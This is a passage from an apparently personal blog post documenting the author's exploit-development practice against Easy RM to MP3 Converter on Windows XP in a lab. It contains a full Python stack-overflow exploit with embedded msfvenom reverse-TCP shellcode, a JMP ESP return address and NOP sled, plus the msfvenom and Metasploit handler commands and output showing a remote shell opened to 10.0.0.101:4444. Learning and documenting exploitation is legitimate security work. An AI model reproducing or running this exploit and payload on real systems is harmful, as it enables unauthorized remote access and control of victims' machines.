41 6a 31 41 6a 32 41-6a 33 41 6a 34 41 6a 35 0Aj1Aj2Aj3Aj4Aj5 000ff850 41 6a 36 41 6a 37 41 6a-38 41 6a 39 41 6b 30 41 Aj6Aj7Aj8Aj9Ak0A 000ff860 6b 31 41 6b 32 41 6b 33-41 6b 34 41 6b 35 41 6b k1Ak2Ak3Ak4Ak5Ak 000ff870 36 41 6b 37 41 6b 38 41-6b 39 41 6c 30 41 6c 31 6Ak7Ak8Ak9Al0Al1 000ff880 41 6c 32 41 6c 33 41 6c-34 41 6c 35 41 6c 36 41 Al2Al3Al4Al5Al6A 000ff890 6c 37 41 6c 38 41 6c 39-41 6d 30 41 6d 31 41 6d l7Al8Al9Am0Am1Am 000ff8a0 32 41 6d 33 41 6d 34 41-6d 35 41 6d 36 41 6d 37 2Am3Am4Am5Am6Am7 000ff8b0 41 6d 38 41 6d 39 41 6e-30 41 6e 31 41 6e 32 41 Am8Am9An0An1An2A 000ff8c0 6e 33 41 6e 34 41 6e 35-41 6e 36 41 6e 37 41 6e n3An4An5An6An7An 000ff8d0 38 41 6e 39 41 6f 30 41-6f 31 41 6f 32 41 6f 33 8An9Ao0Ao1Ao2Ao3 000ff8e0 41 6f 34 41 6f 35 41 6f-36 41 6f 37 41 6f 38 41 Ao4Ao5Ao6Ao7Ao8A 000ff8f0 6f 39 41 70 30 41 70 31-41 70 32 41 70 33 41 70 o9Ap0Ap1Ap2Ap3Ap 000ff900 34 41 70 35 41 70 36 41-70 37 41 70 38 41 70 39 4Ap5Ap6Ap7Ap8Ap9 000ff910 41 71 30 41 71 31 41 71-32 41 71 33 41 71 34 41 Aq0Aq1Aq2Aq3Aq4A 000ff920 71 35 41 71 36 41 71 37-41 71 38 41 71 39 41 72 q5Aq6Aq7Aq8Aq9Ar |
Looks like we are good, as the entire pattern falls within the 512 bytes on the stack. At this point I believe that any shellcode less than 512 bytes should allow us to have successful exploitation. Time to test this theory.
Time for us to now progress with some real shellcode. At this point, we probably need a shell to connect to the host. Let's leverage Metasploit to get a shell.
1 2 | First up, let's create our shellcode with msfvenom msfvenom --platform Windows --arch x86 --payload windows/shell/reverse_tcp LHOST=10.0.0.101 LPORT=4444 --smallest --encoder x86/shikata_ga_nai --bad-chars '\x00\x0A\x0D' --format c --iterations 1 |
Now let's setup the msf multi handler to wait for incoming connections
Setup the msfhandler to accept our incoming connection once the exploit is successful
1 2 3 4 5 6 7 8 9 10 | msf exploit(multi/handler) > use exploit/multi/handler msf exploit(multi/handler) > set PAYLOAD windows/shell/reverse_tcp PAYLOAD => windows/shell/reverse_tcp msf exploit(multi/handler) > set LHOST 10.0.0.101 LHOST => 10.0.0.101 msf exploit(multi/handler) > set LPORT 4444 LPORT => 4444 msf exploit(multi/handler) > run [*] Started reverse TCP handler on 10.0.0.101:4444 |
Let's now modify our final code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | """ This code is part of me learning exploit development in a Windows Environment Author: Nik Alleyne Author Blog: http://securitynik.blogspot.com Date: 2018-01-10 """ import struct def Exploit(): # The msfvenom output below was used to generate the shellcode used to establish the reverse_tcp shell # msfvenom --platform Windows --arch x86 --payload windows/shell/reverse_tcp LHOST=10.0.0.101 LPORT=4444 --smallest --encoder x86/shikata_ga_nai --bad-chars '\x00\x0A\x0D' --format c --iterations 1 shellcode = ( "\xd9\xc0\xbd\x72\x6e\xfd\x3f\xd9\x74\x24\xf4\x58\x29\xc9\xb1" "\x47\x83\xc0\x04\x31\x68\x14\x03\x68\x66\x8c\x08\xc3\x6e\xd2" "\xf3\x3c\x6e\xb3\x7a\xd9\x5f\xf3\x19\xa9\xcf\xc3\x6a\xff\xe3" "\xa8\x3f\x14\x70\xdc\x97\x1b\x31\x6b\xce\x12\xc2\xc0\x32\x34" "\x40\x1b\x67\x96\x79\xd4\x7a\xd7\xbe\x09\x76\x85\x17\x45\x25" "\x3a\x1c\x13\xf6\xb1\x6e\xb5\x7e\x25\x26\xb4\xaf\xf8\x3d\xef" "\x6f\xfa\x92\x9b\x39\xe4\xf7\xa6\xf0\x9f\xc3\x5d\x03\x76\x1a" "\x9d\xa8\xb7\x93\x6c\xb0\xf0\x13\x8f\xc7\x08\x60\x32\xd0\xce" "\x1b\xe8\x55\xd5\xbb\x7b\xcd\x31\x3a\xaf\x88\xb2\x30\x04\xde" "\x9d\x54\x9b\x33\x96\x60\x10\xb2\x79\xe1\x62\x91\x5d\xaa\x31" "\xb8\xc4\x16\x97\xc5\x17\xf9\x48\x60\x53\x17\x9c\x19\x3e\x7f" "\x51\x10\xc1\x7f\xfd\x23\xb2\x4d\xa2\x9f\x5c\xfd\x2b\x06\x9a" "\x02\x06\xfe\x34\xfd\xa9\xff\x1d\x39\xfd\xaf\x35\xe8\x7e\x24" "\xc6\x15\xab\xd1\xcc\x81\x5e\x26\xd1\x34\x37\x24\xd1\xa7\x9b" "\xa1\x37\x97\x73\xe2\xe7\x57\x24\x42\x58\x3f\x2e\x4d\x87\x5f" "\x51\x87\xa0\xf5\xbe\x7e\x98\x61\x26\xdb\x52\x10\xa7\xf1\x1e" "\x12\x23\xf6\xdf\xdc\xc4\x73\xcc\x88\x24\xce\xae\x1e\x3a\xe4" "\xc5\x9e\xae\x03\x4c\xc9\x46\x0e\xa9\x3d\xc9\xf1\x9c\x36\xc0" "\x67\x5f\x20\x2d\x68\x5f\xb0\x7b\xe2\x5f\xd8\xdb\x56\x0c\xfd" "\x23\x43\x20\xae\xb1\x6c\x11\x03\x11\x05\x9f\x7a\x55\x8a\x60" "\xa9\x67\xf6\xb6\x97\x1d\x16\x0b") # Assigning the crash file to a variable crash_file = 'EasryRM_Crash.m3u' # temporary pattern and ultimate value to write to file which the client will read # the value '\xe1\xbc\x08\x76' is actually performing a jmp to esp register where the shellcode resides tmp_pattern = '\x41' * 35073 + '\x42\x42\x42\x42' + '\xe1\xbc\x08\x76' '\x90' * 30 + shellcode + '\x90' * 40 # create the file in write mode fp = open(crash_file, 'wb') # write the data to the files fp.write(tmp_pattern) #Close the file fp.close() # just print that the file has been created print('Created file {!s}'.format(crash_file)) if __name__ == '__main__': Exploit() |
We then execute the code to generate the file.
The file when then fed to Easy RM results in ....
.... BOOOOOOMMMMMMM!!!!
1 2 3 4 5 6 7 8 9 | [*] Started reverse TCP handler on 10.0.0.101:4444 [*] Encoded stage with x86/shikata_ga_nai [*] Sending encoded stage (267 bytes) to 10.0.0.50 [*] Command shell session 1 opened (10.0.0.101:4444 -> 10.0.0.50:1031) at 2018-01-11 01:37:14 -0500 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Program Files\Easy RM to MP3 Converter> |
As we can see from above, the system was exploited and a session was established.
Looking below we can see the network connection is "ESTABLISHED" between hosts 10.0.0.50:1031 and 10.0.0.101:4444
1 2 3 4 5 6 7 8 | Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 1052 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 10.0.0.50:139 0.0.0.0:0 LISTENING 4 TCP 10.0.0.50:1031 10.0.0.101:4444 ESTABLISHED 1576 TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING 1960 |
At this point, I believe it is good to go. I've learned what I wanted to from this post.
References:
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.offensive-security.com/metasploit-unleashed/Msfvenom/
https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
No comments:
Post a Comment